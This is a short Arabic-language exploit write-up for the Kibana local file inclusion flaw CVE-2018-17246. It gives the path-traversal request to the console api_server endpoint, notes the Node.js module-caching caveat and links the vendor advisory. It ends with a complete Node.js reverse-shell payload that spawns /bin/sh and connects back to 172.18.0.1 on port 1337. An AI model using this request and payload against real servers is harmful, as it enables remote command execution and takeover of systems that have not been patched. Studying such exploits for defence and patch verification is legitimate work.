
CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13
ثغرة تضمين ملف محلي (LFI) في Kibana اكتشفتها CyberArk Labs، ويمكن استخدام ثغرة LFI لتنفيذ قشرة عكسية على خادم Kibana باستخدام الحمولة التالية:
/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../path/to/shell.js
وكما خمّنت بالفعل، تحتاج هذه الهجمة إلى أن تُقترن برفع ملفات غير مُقيَّد أو بأي ثغرة أخرى تسمح لك بكتابة ملف على الخادم.
لا يوجد أي تحقق من المدخلات، لذا يمكننا تغيير اسم ملف JavaScript إلى أي اسم نريده. في هذه الحالة، وباستخدام تقنية اجتياز المسار (path traversal)، يمكننا اختيار أي ملف على خادم Kibana. ومع ذلك، هناك أمر يجب الانتباه إليه، وهو ميزة التخزين المؤقت للوحدات في Node.js. أساسًا، نظرًا لأن ثغرة LFI تعمل عن طريق إرسال مدخلات المستخدم غير المنقّاة إلى دالة
requireفي Node.js، فإن الوحدة المضمّنة (حمولة المهاجم) سيتم تخزينها مؤقتًا حسب اسم الملف. هذا يعني أنه لا يمكنك إرسال نفس الحمولة، على سبيل المثال، لاستعادة قشرة عكسية.

تفاصيل الثغرة: https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/
النشرة الأمنية: https://www.elastic.co/blog/kibana-local-file-inclusion-flaw-cve-2018-17246
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "172.18.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();